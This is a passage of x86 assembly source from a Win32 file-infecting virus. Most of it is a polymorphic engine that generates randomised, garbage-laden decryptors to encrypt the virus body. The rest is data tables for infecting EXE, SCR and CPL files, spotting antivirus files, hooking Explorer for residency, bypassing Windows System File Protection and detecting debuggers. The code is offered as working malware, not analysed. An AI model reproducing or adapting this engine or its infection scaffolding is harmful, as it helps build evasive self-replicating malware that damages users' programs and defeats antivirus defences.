;============================================================================
fixed_size2ecx: mov eax,dword ptr [ebp+SizeCrypt]
xor ecx,ecx
mov cl,byte ptr [ebp+oper_size]
shr ecx,01h
or ecx,ecx
jz ok_2ecx
shr eax,cl
jnc ok_2ecx
inc eax
ok_2ecx: mov ecx,eax
ret
;============================================================================
;Generate polymorphic decryptor... Whats new on this poly engine?
;
;On entry:
; esi -> Pointer to code
; edi -> Where to generate polymorphic decryptor
; ecx -> Size of area to encrypt
; edx -> Entry point to code once decrypted
;On exit:
; ecx -> Decryptor size
; edi -> End of decryptor
;
;============================================================================
Mutate: push ebx ;Save base address
add edx,ebx
mov dword ptr [ebp+PtrToEP],edx ;Save ptr to entry-point
mov dword ptr [ebp+PtrToCrypt],esi ;Save crypt offset
mov dword ptr [ebp+PtrToDecrypt],edi
mov dword ptr [ebp+SizeCrypt],ecx ;Save size of block
lea esi,dword ptr [ebp+tbl_startup]
lea edi,dword ptr [ebp+tbl_regs+REG_FLAGS]
mov ecx,00000007h
loop_init_regs: lodsb
stosb
inc edi
loop loop_init_regs
xor eax,eax
mov byte ptr [ebp+NumberOfDataAreas],al ;Clear # of data area
mov byte ptr [ebp+recursive_level],al ;Clear recursive
mov ecx,NUM_DA
lea edi,dword ptr [ebp+tbl_data_area] ;Init data areas
loop_init_da: stosd
stosd
loop loop_init_da
call get_valid_reg
mov al,byte ptr [ebx+REG_MASK]
mov byte ptr [ebp+index_mask],al
or byte ptr [ebx+REG_FLAGS],REG_IS_INDEX
xor eax,eax
mov ecx,00000005h
lea edi,dword ptr [ebp+style_table+00000004h]
clear_style: stosd
add edi,00000004h
loop clear_style
call get_valid_reg
mov al,byte ptr [ebx+REG_MASK]
mov byte ptr [ebp+counter_mask],al
or byte ptr [ebx+REG_FLAGS],REG_IS_COUNTER
call get_rnd32
and eax,00000001h
jz ok_disp
call get_rnd32
ok_disp: mov dword ptr [ebp+ptr_disp],eax
call get_rnd32
mov dword ptr [ebp+crypt_key],eax
call get_rnd32
mov byte ptr [ebp+build_flags],al
call get_rnd32
and al,03h
cmp al,01h
je get_size_ok
cmp al,02h
je get_size_ok
inc al
get_size_ok: mov byte ptr [ebp+oper_size],al
mov edi,dword ptr [ebp+PtrToDecrypt];Ptr to decryptor
call gen_rnd_block ;Random data block
mov ecx,00000005h ;Generate 5 routines
do_subroutine: push ecx
routine_done: mov eax,00000005h ;Random step
call get_rnd_range
lea esi,dword ptr [ebp+style_table+eax*08h]
xor edx,edx ;Already generated?
cmp dword ptr [esi+00000004h],edx
jne routine_done
push edi ;Generate routine
call GenGarbageEx
lodsd
pop dword ptr [esi]
add eax,ebp
call eax
call GenGarbageEx
call gen_ret
call gen_rnd_block
pop ecx ;Generate next subroutine
loop do_subroutine
mov dword ptr [ebp+entry_point],edi ;Decryptor entry-point
;============================================================
;If this is the 1st decryptor we need to save
;some regs
;============================================================
cmp byte ptr [ebp+IsFirst],00h
je SkipSaveRegs
mov al,REG_READ_ONLY
or byte ptr [ebp+tbl_reg_ebx+01h],al
or byte ptr [ebp+tbl_reg_esi+01h],al
or byte ptr [ebp+tbl_reg_edi+01h],al
or byte ptr [ebp+tbl_reg_ebp+01h],al
mov byte ptr [ebp+recursive_level],04h
mov ecx,00000004h
lea esi,dword ptr [ebp+PshPStepIndex]
DoRestorePush: push ecx
push esi
call GenInitGarbage
pop esi
lodsd
lea edx,dword ptr [ebp+eax+TblDoPush]
mov al,byte ptr [edx]
stosb
mov dl,not REG_READ_ONLY
TryToFixEBX: cmp al,053h
jne TryToFixESI
and byte ptr [ebp+tbl_reg_ebx+01h],dl
jmp ShitIsFixed
TryToFixESI: cmp al,056h
jne TryToFixEDI
and byte ptr [ebp+tbl_reg_esi+01h],dl
jmp ShitIsFixed
TryToFixEDI: cmp al,057h
jne TryToFixEBP
and byte ptr [ebp+tbl_reg_edi+01h],dl
jmp ShitIsFixed
TryToFixEBP: cmp al,055h
jne ShitIsFixed
and byte ptr [ebp+tbl_reg_ebp+01h],dl
ShitIsFixed: pop ecx
loop DoRestorePush
mov byte ptr [ebp+recursive_level],00h
and byte ptr [ebp+tbl_reg_ebx+01h],dl
and byte ptr [ebp+tbl_reg_esi+01h],dl
and byte ptr [ebp+tbl_reg_edi+01h],dl
and byte ptr [ebp+tbl_reg_ebp+01h],dl
;============================================================
;Build the JZ/JNZ instruction (at the end of the decryptor
;loop) at runtime
;============================================================
SkipSaveRegs: call GenGarbageEx
test byte ptr [ebp+build_flags],CRYPT_FOG
jz NoEndFog
FuckFogEBP: call get_valid_reg
cmp byte ptr [ebx+REG_MASK],00000101b
je FuckFogEBP
or byte ptr [ebx+REG_FLAGS],REG_READ_ONLY
mov dword ptr [ebp+XrndReg],ebx
push ebx
mov al,byte ptr [ebx+REG_MASK]
or al,0B8h
stosb
call get_rnd32
stosd
mov dword ptr [ebp+Xrnd1],eax
call GenGarbageEx
mov dword ptr [ebp+XrndFixPtr],edi
add edi,00000006h
call gen_garbage
mov dword ptr [ebp+XrndMath],edi
add edi,00000006h
pop ebx
xor byte ptr [ebx+REG_FLAGS],REG_READ_ONLY
call gen_garbage
;============================================================
;Generate CALLs to each routine inside garbage code
;============================================================
NoEndFog: lea esi,dword ptr [ebp+style_table+00000004h]
mov ecx,00000005h
do_call: push ecx ;Gen CALL to each step
cmp ecx,00000003h
jne is_not_loop
call GenGarbageEx
mov dword ptr [ebp+loop_point],edi
is_not_loop: call GenGarbageEx
call get_rnd32
and al,01h
jz MutateCall
StandardCall: mov al,0E8h ;CALL opcode
stosb
lodsd
sub eax,edi
sub eax,00000004h
stosd
jmp DoneMutateCall
CallStepADD: mov ax,0C081h
or ah,byte ptr [ebx+REG_MASK]
stosw
lodsd
call FromPoly2Rva
sub eax,edx
stosd
ret
CallStepSUB: mov ax,0E881h
or ah,byte ptr [ebx+REG_MASK]
stosw
lodsd
call FromPoly2Rva
neg eax
add eax,edx
stosd
ret
CallStepXOR: mov ax,0F081h
or ah,byte ptr [ebx+REG_MASK]
stosw
lodsd
call FromPoly2Rva
xor eax,edx
stosd
ret
MutateCall: push esi
call get_valid_reg
or byte ptr [ebx+REG_FLAGS],REG_READ_ONLY
mov al,0B8h
or al,byte ptr [ebx+REG_MASK]
stosb
call get_rnd32
stosd
push eax
push ebx
call GenGarbageEx
pop ebx
mov eax,NumCallStep
call get_rnd_range
lea esi,dword ptr [ebp+tbl_call_step+eax*04h]
lodsd
add eax,ebp
pop edx
pop esi
push ebx
call eax
call GenGarbageEx
pop ebx
mov ax,0D0FFh
or ah,byte ptr [ebx+REG_MASK]
stosw
xor byte ptr [ebx+REG_FLAGS],REG_READ_ONLY
DoneMutateCall: call GenGarbageEx
lodsd
pop ecx
loop do_call
call GenGarbageEx ;End condition
call gen_loop
call gen_rnd_block
pop ebx
push edi
sub edi,dword ptr [ebp+PtrToDecrypt]
push edi
mov edi,dword ptr [ebp+PtrToCrypt]
add edi,ebx
call fixed_size2ecx ;Encrypt requested area
loop_hide_code: push ecx
mov eax,dword ptr [edi]
call perform_crypt
xor ecx,ecx
mov cl,byte ptr [ebp+oper_size]
loop_copy_res: stosb
shr eax,08h
loop loop_copy_res
pop ecx
loop loop_hide_code
mov edx,dword ptr [ebp+entry_point]
sub edx,ebx ;Get entry-point offset
pop ecx
pop edi
ret
;============================================================================
;Poly engine initialized data
;============================================================================
;============================================================
;Register table
;
; 00h -> BYTE -> Register mask
; 01h -> BYTE -> Register flags
;============================================================
tbl_regs equ $
db 00000000b,REG_READ_ONLY ;eax
tbl_reg_ebx db 00000011b,00h ;ebx
db 00000001b,00h ;ecx
db 00000010b,00h ;edx
tbl_reg_esi db 00000110b,REG_NO_8BIT ;esi
tbl_reg_edi db 00000111b,REG_NO_8BIT ;edi
tbl_reg_ebp db 00000101b,REG_NO_8BIT ;ebp
end_regs equ $
;============================================================
;Aliases for reg table structure
;============================================================
REG_MASK equ 00h
REG_FLAGS equ 01h
;============================================================
;Bit aliases for reg flags
;============================================================
REG_IS_INDEX equ 01h ;Register used as main index register
REG_IS_COUNTER equ 02h ;This register is used as loop counter
REG_READ_ONLY equ 04h ;Never modify the value of this register
REG_NO_8BIT equ 08h ;ESI EDI and EBP havent 8bit version
;============================================================
;Initial reg flags
;============================================================
tbl_startup equ $
db REG_READ_ONLY ;eax
db 00h ;ebx
db 00h ;ecx
db 00h ;edx
db REG_NO_8BIT ;esi
db REG_NO_8BIT ;edi
db REG_NO_8BIT ;ebp
;============================================================
;Code that does not disturb reg values
;============================================================
tbl_save_code equ $
clc
stc
cmc
cld
std
end_save_code equ $
;============================================================
;Generators for [reg] indexing mode
;============================================================
tbl_idx_reg equ $
dd offset xx_inc_reg
dd offset xx_dec_reg
dd offset xx_not_reg
dd offset xx_add_reg
dd offset xx_sub_reg
dd offset xx_xor_reg
;============================================================
;Generators for [reg+imm] indexing mode
;============================================================
tbl_dis_reg equ $
dd offset yy_inc_reg
dd offset yy_dec_reg
dd offset yy_not_reg
dd offset yy_add_reg
dd offset yy_sub_reg
dd offset yy_xor_reg
;============================================================
;Generators for [reg+reg] indexing mode
;============================================================
tbl_xtended equ $
dd offset zz_inc_reg
dd offset zz_dec_reg
dd offset zz_not_reg
dd offset zz_add_reg
dd offset zz_sub_reg
dd offset zz_xor_reg
;============================================================
;Generators for [reg+reg+imm] indexing mode
;============================================================
tbl_paranoia equ $
dd offset ii_inc_reg
dd offset ii_dec_reg
dd offset ii_not_reg
dd offset ii_add_reg
dd offset ii_sub_reg
dd offset ii_xor_reg
;============================================================
;Opcodes for math reg,imm
;============================================================
tbl_math_imm equ $
db 0C0h ;add
db 0C8h ;or
db 0E0h ;and
db 0E8h ;sub
db 0F0h ;xor
db 0D0h ;adc
db 0D8h ;sbb
end_math_imm equ $
;============================================================
;Magic aliases
;============================================================
MAGIC_PUTKEY equ 01h
MAGIC_PUTDISP equ 02h
MAGIC_ENDSTR equ 0FFh
MAGIC_ENDKEY equ 0FEh
MAGIC_CAREEBP equ 00h
MAGIC_NOTEBP equ 0FFh
;============================================================
;Magic data
;============================================================
xx_inc_reg db 0FEh
db MAGIC_CAREEBP
db 00h
db 00h
dd offset x_inc_reg_byte
dd offset x_inc_reg_word
dd offset x_inc_reg_dword
xx_dec_reg db 0FEh
db MAGIC_CAREEBP
db 08h
db 00h
dd offset x_dec_reg_byte
dd offset x_dec_reg_word
dd offset x_dec_reg_dword
xx_not_reg db 0F6h
db MAGIC_CAREEBP
db 10h
db 00h
dd offset x_not_reg_byte
dd offset x_not_reg_word
dd offset x_not_reg_dword
xx_add_reg db 80h
db MAGIC_CAREEBP
db 00h
db MAGIC_PUTKEY
dd offset x_add_reg_byte
dd offset x_add_reg_word
dd offset x_add_reg_dword
xx_sub_reg db 80h
db MAGIC_CAREEBP
db 28h
db MAGIC_PUTKEY
dd offset x_sub_reg_byte
dd offset x_sub_reg_word
dd offset x_sub_reg_dword
xx_xor_reg db 80h
db MAGIC_CAREEBP
db 30h
db MAGIC_PUTKEY
dd offset x_xor_reg_byte
dd offset x_xor_reg_word
dd offset x_xor_reg_dword
yy_inc_reg db 0FEh
db MAGIC_NOTEBP
db 80h
db MAGIC_PUTDISP
dd offset x_inc_reg_byte
dd offset x_inc_reg_word
dd offset x_inc_reg_dword
yy_dec_reg db 0FEh
db MAGIC_NOTEBP
db 88h
db MAGIC_PUTDISP
dd offset x_dec_reg_byte
dd offset x_dec_reg_word
dd offset x_dec_reg_dword
yy_not_reg db 0F6h
db MAGIC_NOTEBP
db 90h
db MAGIC_PUTDISP
dd offset x_not_reg_byte
dd offset x_not_reg_word
dd offset x_not_reg_dword
yy_add_reg db 80h
db MAGIC_NOTEBP
db 80h
db MAGIC_PUTKEY or MAGIC_PUTDISP
dd offset x_add_reg_byte
dd offset x_add_reg_word
dd offset x_add_reg_dword
yy_sub_reg db 80h
db MAGIC_NOTEBP
db 0A8h
db MAGIC_PUTKEY or MAGIC_PUTDISP
dd offset x_sub_reg_byte
dd offset x_sub_reg_word
dd offset x_sub_reg_dword
yy_xor_reg db 80h
db MAGIC_NOTEBP
db 0B0h
db MAGIC_PUTKEY or MAGIC_PUTDISP
dd offset x_xor_reg_byte
dd offset x_xor_reg_word
dd offset x_xor_reg_dword
zz_inc_reg db 0FEh
db MAGIC_CAREEBP
db 04h
db 00h
dd offset x_inc_reg_byte
dd offset x_inc_reg_word
dd offset x_inc_reg_dword
zz_dec_reg db 0FEh
db MAGIC_CAREEBP
db 0Ch
db 00h
dd offset x_dec_reg_byte
dd offset x_dec_reg_word
dd offset x_dec_reg_dword
zz_not_reg db 0F6h
db MAGIC_CAREEBP
db 14h
db 00h
dd offset x_not_reg_byte
dd offset x_not_reg_word
dd offset x_not_reg_dword
zz_add_reg db 80h
db MAGIC_CAREEBP
db 04h
db MAGIC_PUTKEY
dd offset x_add_reg_byte
dd offset x_add_reg_word
dd offset x_add_reg_dword
zz_sub_reg db 80h
db MAGIC_CAREEBP
db 2Ch
db MAGIC_PUTKEY
dd offset x_sub_reg_byte
dd offset x_sub_reg_word
dd offset x_sub_reg_dword
zz_xor_reg db 80h
db MAGIC_CAREEBP
db 34h
db MAGIC_PUTKEY
dd offset x_xor_reg_byte
dd offset x_xor_reg_word
dd offset x_xor_reg_dword
ii_inc_reg db 0FEh
db MAGIC_NOTEBP
db 84h
db MAGIC_PUTDISP
dd offset x_inc_reg_byte
dd offset x_inc_reg_word
dd offset x_inc_reg_dword
ii_dec_reg db 0FEh
db MAGIC_NOTEBP
db 8Ch
db MAGIC_PUTDISP
dd offset x_dec_reg_byte
dd offset x_dec_reg_word
dd offset x_dec_reg_dword
ii_not_reg db 0F6h
db MAGIC_NOTEBP
db 94h
db MAGIC_PUTDISP
dd offset x_not_reg_byte
dd offset x_not_reg_word
dd offset x_not_reg_dword
ii_add_reg db 80h
db MAGIC_NOTEBP
db 84h
db MAGIC_PUTKEY or MAGIC_PUTDISP
dd offset x_add_reg_byte
dd offset x_add_reg_word
dd offset x_add_reg_dword
ii_sub_reg db 80h
db MAGIC_NOTEBP
db 0ACh
db MAGIC_PUTKEY or MAGIC_PUTDISP
dd offset x_sub_reg_byte
dd offset x_sub_reg_word
dd offset x_sub_reg_dword
ii_xor_reg db 80h
db MAGIC_NOTEBP
db 0B4h
db MAGIC_PUTKEY or MAGIC_PUTDISP
dd offset x_xor_reg_byte
dd offset x_xor_reg_word
dd offset x_xor_reg_dword
;============================================================
;Reverse-code strings
;============================================================
x_inc_reg_byte db 02h,0FEh,0C8h,MAGIC_ENDSTR
x_inc_reg_word db 02h,66h,48h,MAGIC_ENDSTR
x_inc_reg_dword db 01h,48h,MAGIC_ENDSTR
x_dec_reg_byte db 02h,0FEh,0C0h,MAGIC_ENDSTR
x_dec_reg_word db 02h,66h,40h,MAGIC_ENDSTR
x_dec_reg_dword db 01h,40h,MAGIC_ENDSTR
x_not_reg_byte db 02h,0F6h,0D0h,MAGIC_ENDSTR
x_not_reg_word db 03h,66h,0F7h,0D0h,MAGIC_ENDSTR
x_not_reg_dword db 02h,0F7h,0D0h,MAGIC_ENDSTR
x_add_reg_byte db 01h,2Ch,MAGIC_ENDKEY
x_add_reg_word db 02h,66h,2Dh,MAGIC_ENDKEY
x_add_reg_dword db 01h,2Dh,MAGIC_ENDKEY
x_sub_reg_byte db 01h,04h,MAGIC_ENDKEY
x_sub_reg_word db 02h,66h,05h,MAGIC_ENDKEY
x_sub_reg_dword db 01h,05h,MAGIC_ENDKEY
x_xor_reg_byte db 01h,34h,MAGIC_ENDKEY
x_xor_reg_word db 02h,66h,35h,MAGIC_ENDKEY
x_xor_reg_dword db 01h,35h,MAGIC_ENDKEY
;============================================================
;Format for each style-table entry:
;
; 00h -> DWORD -> Address of generator
; 04h -> DWORD -> Address of generated subroutine or
; 00000000h if not yet generated
;
;============================================================
style_table equ $
dd offset gen_load_ptr
dd 00000000h
dd offset gen_load_ctr
dd 00000000h
dd offset gen_decrypt
dd 00000000h
dd offset gen_next_step
dd 00000000h
dd offset gen_next_ctr
dd 00000000h
;============================================================
;Generators for incrementing the index register
;============================================================
tbl_idx_up equ $
dd offset IdxUpWithADD
dd offset IdxUpWithSUB
dd offset IdxUpWithINC
dd offset IdxUpADDADD
dd offset IdxUpADDSUB
dd offset IdxUpSUBSUB
dd offset IdxUpSUBADD
NumIdxUp equ ($-tbl_idx_up)/04h
;============================================================
;Misc generators
;============================================================
tbl_jmp_end equ $
dd offset jmpendregadd
dd offset jmpendregsub
dd offset jmpendregxor
NumJmpEnd equ ($-tbl_jmp_end)/04h
tbl_call_step equ $
dd offset CallStepADD
dd offset CallStepSUB
dd offset CallStepXOR
NumCallStep equ ($-tbl_call_step)/04h
TblDoFog equ $
dd offset DoFogAdd
dd offset DoFogSub
dd offset DoFogXor
NumFog equ ($-TblDoFog)/04h
TblFixFog equ $
dd offset FixFogAdd
dd offset FixFogSub
dd offset FixFogXor
NumFixFog equ ($-TblFixFog)/04h
;============================================================
;Generators for decrementing the index register
;============================================================
tbl_idx_down equ $
dd offset IdxDownWithADD
dd offset IdxDownWithSUB
dd offset IdxDownWithDEC
dd offset IdxDownADDADD
dd offset IdxDownADDSUB
dd offset IdxDownSUBSUB
dd offset IdxDownSUBADD
NumIdxDown equ ($-tbl_idx_down)/04h
;============================================================
;Garbage code generators
;============================================================
tbl_i_g equ $
dd offset gen_save_code ;clc stc cmc cld std
dd offset gen_mov_mem32 ;mov mem,reg32
dd offset gen_mov_mem16 ;mov mem,reg16
dd offset gen_mov_mem8 ;mov mem,reg8
dd offset gen_add_mem32 ;add mem,reg32
dd offset gen_add_mem16 ;add mem,reg16
dd offset gen_add_mem8 ;add mem,reg8
dd offset gen_sub_mem32 ;sub mem,reg32
dd offset gen_sub_mem16 ;sub mem,reg16
dd offset gen_sub_mem8 ;sub mem,reg8
dd offset gen_adc_mem32 ;adc mem,reg32
dd offset gen_adc_mem16 ;adc mem,reg16
dd offset gen_adc_mem8 ;adc mem,reg8
dd offset gen_sbb_mem32 ;sbb mem,reg32
dd offset gen_sbb_mem16 ;sbb mem,reg16
dd offset gen_sbb_mem8 ;sbb mem,reg8
dd offset gen_or_mem32 ;or mem,reg32
dd offset gen_or_mem16 ;or mem,reg16
dd offset gen_or_mem8 ;or mem,reg8
dd offset gen_and_mem32 ;and mem,reg32
dd offset gen_and_mem16 ;and mem,reg16
dd offset gen_and_mem8 ;and mem,reg8
dd offset gen_xor_mem32 ;xor mem,reg32
dd offset gen_xor_mem16 ;xor mem,reg16
dd offset gen_xor_mem8 ;xor mem,reg8
end_i_g equ $
tbl_garbage equ $
dd offset gen_save_code ;clc stc cmc cld std
dd offset g_movreg32imm ;mov reg32,imm
dd offset g_movreg16imm ;mov reg16,imm
dd offset g_movreg8imm ;mov reg8,imm
dd offset g_xchgregreg32 ;xchg reg32,reg32
dd offset g_xchgregreg16 ;xchg reg16,reg16
dd offset g_xchgregreg8 ;xchg reg8,reg8
dd offset g_movregreg32 ;mov reg32,reg32
dd offset g_movregreg16 ;mov reg16,reg16
dd offset g_movregreg8 ;mov reg8,reg8
dd offset g_inc_reg32 ;inc reg32
dd offset g_inc_reg16 ;inc reg16
dd offset g_inc_reg8 ;inc reg8
dd offset g_dec_reg32 ;dec reg32
dd offset g_dec_reg16 ;dec reg16
dd offset g_dec_reg8 ;dec reg8
dd offset g_mathregimm32 ;math reg32,imm
dd offset g_mathregimm16 ;math reg16,imm
dd offset g_mathregimm8 ;math reg8,imm
dd offset g_movzx_movsx ;movzx/movsx reg32,reg16
save_space equ $
dd offset gen_mov_mem32 ;mov mem,reg32
dd offset gen_mov_mem16 ;mov mem,reg16
dd offset gen_mov_mem8 ;mov mem,reg8
dd offset gen_add_mem32 ;add mem,reg32
dd offset gen_add_mem16 ;add mem,reg16
dd offset gen_add_mem8 ;add mem,reg8
dd offset gen_sub_mem32 ;sub mem,reg32
dd offset gen_sub_mem16 ;sub mem,reg16
dd offset gen_sub_mem8 ;sub mem,reg8
dd offset gen_adc_mem32 ;adc mem,reg32
dd offset gen_adc_mem16 ;adc mem,reg16
dd offset gen_adc_mem8 ;adc mem,reg8
dd offset gen_sbb_mem32 ;sbb mem,reg32
dd offset gen_sbb_mem16 ;sbb mem,reg16
dd offset gen_sbb_mem8 ;sbb mem,reg8
dd offset gen_or_mem32 ;or mem,reg32
dd offset gen_or_mem16 ;or mem,reg16
dd offset gen_or_mem8 ;or mem,reg8
dd offset gen_and_mem32 ;and mem,reg32
dd offset gen_and_mem16 ;and mem,reg16
dd offset gen_and_mem8 ;and mem,reg8
dd offset gen_xor_mem32 ;xor mem,reg32
dd offset gen_xor_mem16 ;xor mem,reg16
dd offset gen_xor_mem8 ;xor mem,reg8
dd offset g_push_g_pop ;push reg/garbage/pop reg
dd offset g_call_cont ;call/garbage/pop
dd offset g_jump_u ;jump/rnd block
dd offset g_jump_c ;jump conditional/garbage
dd offset gen_fake_crypt ;fake decryptor instruction
end_garbage equ $
;============================================================
;PolyPush
;============================================================
TblDoPush equ $
pushEBX db 053h
pushESI db 056h
pushEDI db 057h
pushEBP db 055h
;============================================================
;PolyPop
;============================================================
TblDoPop equ $
popEBX db 05Dh
popESI db 05Fh
popEDI db 05Eh
popEBP db 05Bh
;============================================================================
;CRC32 of API names
;============================================================================
CrcKernel32 dd 00000000h ;CRC32 of KERNEL dll name
CrcGetProcAddr dd 00000000h ;This API takes special care
CRC32K32Apis dd NumK32Apis dup (00000000h)
CRC32TOOLHELPApis dd NumTOOLHELPApis dup (00000000h)
CRC32PSAPIApis dd NumPSAPIApis dup (00000000h)
CRC32IMGHLPApis dd NumIMGHLPApis dup (00000000h)
CRC32SFCApis dd NumSFCApis dup (00000000h)
CRC32USER32Apisw9x dd NumUSER32Apis dup (00000000h)
CRC32USER32Apiswnt dd NumUSER32Apis dup (00000000h)
CRC32_IsDebugPr dd 00000000h
CRC32_RegServProc dd 00000000h
;============================================================================
;CRC32 of infectable file extensions
;============================================================================
TblCRC32szEXT equ $
CRC32_szEXE dd 00000000h
CRC32_szSCR dd 00000000h
CRC32_szCPL dd 00000000h
NumberOfExt equ ($-TblCRC32szEXT)/04h
;============================================================================
;CRC32 of EXPLORER.EXE and USER32.DLL
;============================================================================
CRCszEXPLORER dd 00000000h
CRCszUSER32 dd 00000000h
CRCszPSAPI dd 00000000h
CRCszIMGHLP dd 00000000h
CRCszSFC dd 00000000h
;============================================================================
;Avoid some files from being infected
;============================================================================
avoid_tbl dd avoid_num dup (00000000h)
;============================================================================
;CRC32 of AV files
;============================================================================
TblCRC32AV dd NumberOfAV dup (00000000h)
;============================================================================
;End of CRC32 protected area
;============================================================================
SizeOfProtect equ $-CRC_protected
;============================================================================
;End of virus image in files
;============================================================================
inf_size equ $-viro_sys
;============================================================================
;Seed for random number generator
;============================================================================
rnd32_seed dd 00000000h
;============================================================================
;CRC32 lookup table
;============================================================================
tbl_crc32 dd 0100h dup (00000000h)
;============================================================================
;KERNEL32 API's
;============================================================================
;GetProcAddress API takes special care
a_GetProcAddress dd 00000000h
epK32Apis equ $
a_CreateFileA dd 00000000h
a_CreateFileMappingA dd 00000000h
a_CreateProcessA dd 00000000h
a_CreateThread dd 00000000h
a_CloseHandle dd 00000000h
a_DeleteFileA dd 00000000h
a_ExitThread dd 00000000h
a_FindClose dd 00000000h
a_FindFirstFileA dd 00000000h
a_FindNextFileA dd 00000000h
a_FreeLibrary dd 00000000h
a_GetComputerNameA dd 00000000h
a_GetCurrentProcess dd 00000000h
a_GetDriveTypeA dd 00000000h
a_GetFileAttributesA dd 00000000h
a_GetLastError dd 00000000h
a_GetLocalTime dd 00000000h
a_GetLogicalDriveStringsA dd 00000000h
a_GetSystemDirectoryA dd 00000000h
a_GetVersionEx dd 00000000h
a_LoadLibraryA dd 00000000h
a_MapViewOfFile dd 00000000h
a_OpenFileMappingA dd 00000000h
a_OpenProcess dd 00000000h
a_ReadProcessMemory dd 00000000h
a_SetEndOfFile dd 00000000h
a_SetFileAttributesA dd 00000000h
a_SetFilePointer dd 00000000h
a_SetFileTime dd 00000000h
a_Sleep dd 00000000h
a_UnmapViewOfFile dd 00000000h
a_WriteProcessMemory dd 00000000h
NumK32Apis equ ($-epK32Apis)/04h
;Only used when present
a_IsDebuggerPresent dd 00000000h
hKERNEL32 dd 00000000h
;============================================================================
;Used to check current computer name
;============================================================================
SizeOfComputerName dd 00000000h
szComputerName db 20h dup (00h)
;============================================================================
;Buffer used on misc routines
;============================================================================
EP_Bytes dd 00000000h
BufStrFilename db MAX_PATH+01h dup (00000000h)
;============================================================================
;End of virus virtual image
;============================================================================
size_virtual equ $-viro_sys
;============================================================================
;Structure used by GetVersionEx
;============================================================================
system_version equ $
dwOSVersionInfoSize dd 00000000h
dwMajorVersion dd 00000000h
dwMinorVersion dd 00000000h
dwBuildNumber dd 00000000h
dwPlatformId dd 00000000h
szCSDVersion db 80h dup (00h)
VER_PLATFORM_WIN32s equ 00h
VER_PLATFORM_WIN32_WINDOWS equ 01h
VER_PLATFORM_WIN32_NT equ 02h
;============================================================================
;Variables used by the Windows 9x residency routines
;============================================================================
hSnapshot dd 00000000h
ProcessEntry equ $
ProcEdwSize dd 00000000h
ProcEcntUsage dd 00000000h
ProcEth32ProcessID dd 00000000h
ProcEth32DefaultHeapID dd 00000000h
ProcEth32ModuleID dd 00000000h
ProcEcntThreads dd 00000000h
ProcEth32ParentProcessID dd 00000000h
ProcEpcPriClassBase dd 00000000h
ProcEdwFlags dd 00000000h
ProcEszExeFile db MAX_PATH dup (00h)
SIZEOFPROCESSENTRY equ ($-ProcessEntry)
ModuleEntry equ $
ModEdwSize dd 00000000h
ModEth32ModuleID dd 00000000h
ModEth32ProcessID dd 00000000h
ModEGlblcntUsage dd 00000000h
ModEProccntUsage dd 00000000h
ModEmodBaseAddr dd 00000000h
ModEmodBaseSize dd 00000000h
ModEhModule dd 00000000h
ModEszModule db MAX_MODULE_NAME32+1 dup (00h)
ModEszExePath db MAX_PATH dup (00h)
SIZEOFMODULEENTRY equ ($-ModuleEntry)
MAX_MODULE_NAME32 equ 255
;============================================================================
;Variables used by the Windows NT and Windows 2000 residency routines
;============================================================================
hProcess dd 00000000h
hModule dd 00000000h
ProcessIdList dd 20h dup (00000000h)
ModuleList dd 20h dup (00000000h)
Explorer_MZ_lfanew dd 00000000h
Explorer_FH_SizeOfOptionalHeader dw 0000h
Explorer_FH_NumberOfSections dw 0000h
Explorer_SectionHeader db IMAGE_SIZEOF_SECTION_HEADER dup (00h)
Explorer_DE_Import dd 00000000h
Explorer_ImportDescriptor db IMAGE_SIZEOF_IMPORT_DESCRIPTOR dup (00h)
Explorer_ID_Name db 10h dup (00h)
ParseDllNameErrorProtection db 00h
Explorer_Hook dd 00000000h
Explorer_Patch dd 00000000h
Explorer_Init_Hook dd 00000000h
;============================================================================
;This is virus infection thread ID
;============================================================================
IF_ThreadID dd 00000000h
;============================================================================
;This is used to locate system DLL files and load them without using names,
;only by means of CRC32
;============================================================================
a_SDLL_CRC32 dd 00000000h
szSYSTEMDIR db MAX_PATH dup (00h)
;============================================================================
;TOOLHELP API's (Windows 9x only)
;============================================================================
epTOOLHELPApis equ $
a_CreateToolhelp32Snapshot dd 00000000h
a_Process32First dd 00000000h
a_Process32Next dd 00000000h
a_Module32First dd 00000000h
a_Module32Next dd 00000000h
NumTOOLHELPApis equ ( $-epTOOLHELPApis)/04h
;============================================================================
;PSAPI API's (Windows NT & Windows 2000 only)
;============================================================================
epPSAPIApis equ $
a_EnumProcessModules dd 00000000h
a_EnumProcesses dd 00000000h
a_GetModuleBaseNameA dd 00000000h
a_GetModuleInformation dd 00000000h
NumPSAPIApis equ ($-epPSAPIApis)/04h
hPSAPI dd 00000000h
;============================================================================
;IMAGEHLP APIs used to compute new image checksum
;============================================================================
epIMGHLPApis equ $
a_CheckSumMappedFile dd 00000000h
NumIMGHLPApis equ ($-epIMGHLPApis)/04h
hIMGHLP dd 00000000h
;============================================================================
;SFC APIs used by the virus to avoid Windows 2000 System File Protection
;============================================================================
epSFCApis equ $
a_SfcIsFileProtected dd 00000000h
NumSFCApis equ ($-epSFCApis)/04h
hSFC dd 00000000h
;============================================================================
;USER32 APIs ( The address is for the Ansi version if the target is running
;windows 9x or the Wide version if running windows Nt ) .
;============================================================================
epUSER32Apis equ $
a_DefWindowProc dd 00000000h
NumUSER32Apis equ ($-epUSER32Apis)/04h
hUSER32 dd 00000000h
;============================================================================
;Handles over target files
;============================================================================
h_CreateFile dd 00000000h
h_FileMap dd 00000000h
;============================================================================
;Misc variables
;============================================================================
CurFileAttr dd 00000000h
ChecksumPE dd 00000000h
OldChecksum dd 00000000h
map_is_here dd 00000000h
FileImport dd 00000000h
ImportSH dd 00000000h
inject_offs dd 00000000h
vir_offset dd 00000000h
search_raw dd 00000000h
host_base dd 00000000h
virus_sh dd 00000000h
fix_size dd 00000000h
raw_align dd 00000000h
K32CodeStart dd 00000000h
K32CodeEnd dd 00000000h
;============================================================================
;Poly engine uninitialized data
;============================================================================
CRYPT_DIRECTION equ 01h
CRYPT_CMPCTR equ 02h
CRYPT_CDIR equ 04h
CRYPT_SIMPLEX equ 10h
CRYPT_COMPLEX equ 20h
CRYPT_FOG equ 40h
PtrToCrypt dd 00000000h ;Pointer to area to encrypt
PtrToDecrypt dd 00000000h ;Where to generate polymorphic decryptor
PtrToEP dd 00000000h ;Pointer to code entry-point once decrypted
SizeCrypt dd 00000000h ;Size of area to encrypt
end_value dd 00000000h ;Index end value
loop_point dd 00000000h ;Start address of decryption loop
entry_point dd 00000000h ;Entry point to decryptor code
decryptor_size dd 00000000h ;Size of generated decryptor
disp2disp dd 00000000h ;Displacement over displacement
condition_ptr dd 00000000h ;Pointer to JZ/JNZ instruction at loop end
Xrnd1 dd 00000000h
